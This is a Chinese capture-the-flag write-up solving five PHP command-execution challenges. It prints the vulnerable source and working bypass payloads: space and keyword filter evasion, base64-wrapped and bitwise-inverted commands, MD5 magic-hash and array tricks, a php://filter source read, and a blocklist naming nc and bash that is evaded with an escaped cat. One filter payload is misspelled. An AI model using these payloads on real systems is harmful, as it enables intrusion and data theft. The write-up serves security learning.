例题实练

1. 【Level1】张sir的远程命令执行

题目分析

一道简单的RCE绕过题目,在提交一栏中输入命令找flag

题解

  1. 输入ls,查看当前目录下的文件

flag.php index.php

  1. 输入cat flag.php 发现失败了
  2. 换一个tac flag.php
  3. 成功绕过,拿到flag

解题心得

一个很简单的关键字过滤绕过,查看过题目源码,是把“cat”过滤掉, 所以换成其他显示输出的命令就可以了,不只是tac,还可以用head,tail,nl等

2. 【level 1】so easy rce

题目分析

1
2
3
4
5
6
7
  <?php
 if (isset($_REQUEST['cmd'])) {
     eval($_REQUEST["cmd"]);
 } else {
     highlight_file(__FILE__);
 }
 ?>

分析代码可以知道,需要对cmd进行传参,_REQUEST可以使用post传参,并执行eval函数

题解

  1. 打开hackbar进行POST传参
  2. cmd=system(“ls”);查看当前目录文件,只有一个index.php文件

index.php

  1. cmd=system(“ls /“);根据经验,flag在根目录下,直接找根目录

bin dev etc flag.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

  1. 果然有flag,cmd=system(“cat /flag.txt”);
  2. 拿到flag

解题心得

已经把源码放出来了,看懂源码做题还是比较轻松的

3. 【Level2】张神的远程命令执行

题目分析

一开始看到这道题是没有什么头绪的。打开F12看一下,给了一个提示网址,记录了几种绕过方式, 在这道题里面应用到了空格的绕过方法,还有对特定关键词flag的绕过方法

题解

  1. ls查看当前目录下的文件

flag.php index.php

  1. 空格会被过滤,用” $IFS$9 “替换空格
  2. 先看一下index.php里面的内容

cat$IFS$9index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
     error_reporting(0);
     header("content-type:text/html;charset=utf-8");
     if(isset($_POST['command'])){
     $command = $_POST['command'];
     if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $command, $match)){
         echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $command, $match);
         die("hacker! no symbol!");
    } else if(preg_match("/ /", $command)){
         die("hacker! no space!");
    } else if(preg_match("/bash/", $command)){
         die("hacker! no bash!");
    } else if(preg_match("/.*f.*l.*a.*g.*/", $command)){
         die("hacker! no flag!");
    }
     $a=shell_exec($command);
     print_r($a);
 }
  1. cat$IFS$9flag.php发现是行不通的

hacker! no flag!

  1. 将flag替换掉试一下,利用base64编码

echo cat flag.php|base64

Y2F0IGZsYWcucGhwCg==

  1. 再反编码base64

echo$IFS$9Y2F0IGZsYWcucGhwCg==|base64$IFS$9-d

  1. flag在控制台里面,拿下

解题心得

这道题用到了空格的绕过,以及base64的编码和解码,将被屏蔽的命令以及flag拿出来,熟悉好linux命令很关键,详细文章链接如下https://www.freebuf.com/articles/web/330736.html

4. 【Web level3】EZ_RCE(无字母)

题目分析

获得提示,这是一道无字母RCE,常用的方法是对命令进行取反或者异或操作,以达到绕过的目的,本题我采用取反的方法。

题解

  1. 一开始我们发现没有提交的按钮,F12查看控制台,使用GET方法传参,变量名code
  2. 先把我的代码和输出贴在这
1
2
3
4
5
6
7
8
9
10
 <?php
 echo urlencode(~"system").PHP_EOL;
 echo urlencode(~"ls").PHP_EOL;
 echo urlencode(~"ls /").PHP_EOL;
 echo urlencode(~"cat /flag.txt");
 ?>
 %8C%86%8C%8B%9A%92
 %93%8C
 %93%8C%DF%D0
 %9C%9E%8B%DF%D0%99%93%9E%98%D1%8B%87%8B
  1. urlencode是进行字符串URL编码,在字符串前面加“~”符合,就达到取反的目的,获得需要的URL编码
  2. 根据我对flag的了解,它一般藏于根目录,直接找根目录

?code=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);

bin dev etc flag.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

  1. 找到flag,直接输出

?code=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%9E%98%D1%8B%87%8B);

  1. 得到flag,结束

解题心得

本题的实质还是绕过,不同于之前的题目,用base64编码,这道题屏蔽了所有的字母,只能考虑取反和异或操作,取反操作相对简单,异或操作正在研究

5. 【Web level5】组合拳😈

题目分析

这道题首先是一个正则匹配的绕过,再是两个md5的比较,一个弱类型,一个强类型。 弱比较原理是php对0e开头字符串采用科学计数法读取,从而进行绕过;强类型是通过php无法对数组类型进行解析,把变量bc当成数组变量赋值,进行绕过。再把enjoy符号用base100解析,伪协议读取源码, 重定向输出到同一目录下,进行读取

题解

  1. 先看一下源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php
 highlight_file(__FILE__);
 error_reporting(E_ERROR);
 ini_set("display_errors","Off");
 
 $str = $_GET['y1'];
 $pattern = "#\\\\\\\\/Iwantflag#";
 $a = $_GET['a'];
 $b = $_GET['b'];
 $c = $_GET['c'];
 $ffflllag = $_POST['flag'];
 if(preg_match($pattern,$str,$arr))
 {
     echo "The first waf was passed!<br>";
     var_dump($arr);
     echo "<br>";
     if ($a != 's1091221200a' && md5($a) == md5('s1091221200a')) {
         echo "The second waf was passed!<br>";
         if($b != $c && md5($b) === md5($c))
        {
             echo "The third waf was passed!<br>";
             include("$ffflllag");                      // 👜👤👘👥👦👥🐥👧👟👧
        }
    }else{
         echo("Do you like md5?<br>");
    }
 
 }else{
     echo "try harder!";
 } try harder!
  1. 使用get方法传参str,php可以进行二次析取,“\”第一次转义析取“\”,进入正则匹配再进行一次析取,最后还剩“\”,

?y1=/Iwantflag 第一层绕过

  1. 先看一下’s1091221200a’的md5值
1
2
 echo md5("s1091221200a");
 0e940624217856561557816327384675
  1. 0e开头的字符串会被PHP当成科学计数法进行读取,数值为0,我们找一个md5值同样为0e开头的字符串进行md5加密,从而实现绕过

a=QNKCDZO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
 0e开头的md5和原值:
 QNKCDZO
 0e830400451993494058024219903391
 240610708
 0e462097431906509019562988736854
 s878926199a
 0e545993274517709034328855841020
 s155964671a
 0e342768416822451524974117254469
 s214587387a
 0e848240448830537924465865611904
 s214587387a
 0e848240448830537924465865611904
 s878926199a
 0e545993274517709034328855841020
 s1091221200a
 0e940624217856561557816327384675
 s1885207154a
 0e509367213418206700842008763514
 s1502113478a
 0e861580163291561247404381396064
 s1885207154a
 0e509367213418206700842008763514
 s1836677006a
 0e481036490867661113260034900752
 s155964671a
 0e342768416822451524974117254469
 s1184209335a
 0e072485820392773389523109082030
 s1665632922a
 0e731198061491163073197128363787
 s1502113478a
 0e861580163291561247404381396064
 s1836677006a
 0e481036490867661113260034900752
 s1091221200a
 0e940624217856561557816327384675
 s155964671a
 0e342768416822451524974117254469
 s1502113478a
 0e861580163291561247404381396064
 s155964671a
 0e342768416822451524974117254469
 s1665632922a
 0e731198061491163073197128363787
 s155964671a
 0e342768416822451524974117254469
 s1091221200a
 0e940624217856561557816327384675
 s1836677006a
 0e481036490867661113260034900752
 s1885207154a
 0e509367213418206700842008763514
 s532378020a
 0e220463095855511507588041205815
 s878926199a
 0e545993274517709034328855841020
 s1091221200a
 0e940624217856561557816327384675
 s214587387a
 0e848240448830537924465865611904
 s1502113478a
 0e861580163291561247404381396064
 s1091221200a
 0e940624217856561557816327384675
 s1665632922a
 0e731198061491163073197128363787
 s1885207154a
 0e509367213418206700842008763514
 s1836677006a
 0e481036490867661113260034900752
 s1665632922a
 0e731198061491163073197128363787
 s878926199a
 0e545993274517709034328855841020
  1. 最后一层绕过,md5的比较是强比较,由于PHP无法对数组进行判断,md5后数组值为Null,也就是0,从而实现绕过

b[]&c[]=1

  1. 最终的payload如下

?y1=/Iwantflag&a=QNKCDZO&b[]&c[]=1

  1. 这时候我们就将变量ffflllag包含进来了,旁边有一堆enjoy符号,可以用base100进行解码,得出结果emanon.php,进去看一下
  2. 没有得到什么有用信息,打开F12也没有收获,我们考虑使用php伪协议读取源码

?flag=php://filter/read/convert.base64-encodde/resource=emanon.php

  1. 把emanon.php的源码贴一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
 error_reporting(E_ERROR);
 ini_set("display_errors","Off");
 $html=<<<HTM
 <!DOCTYPE html>
 <html>
 <body>
     <img src = "./lqh.jpg" alt="男同" width="400" height="200">
 </body>
 </html>
 HTM;
 echo $html;
 echo("</br>");
 echo ("5oiRbHFo5piv5Lit5Zu95ZCM5oCn5oGL56ys5LiA5Lq6");
 if(!preg_match('/bash|python|php|sh|nc|rm|echo|base|cat|ls/i',$_GET['cmd'])){
     @shell_exec($_GET['cmd']);
 }else{
     die("哥哥不要");
 }
  1. 需要我们进行get传参,给cmd赋值,执行命令操作
  2. 函数shell_exec()函数没有回显,需要我们进行重定向 >>
  3. 构造payload,因为不知道flag的名称,我们使用cat /*进行文件读取,将所有文件内容读取到指定位置

cmd=ca\t /*>>/var/www/html/zsq

  1. 查看zsq的内容,拿到flag

/zsq

解题心得

这道题考察了很多漏洞知识,收获颇丰,关于正则表达式的知识还有些欠缺,需要再补一下

反弹shell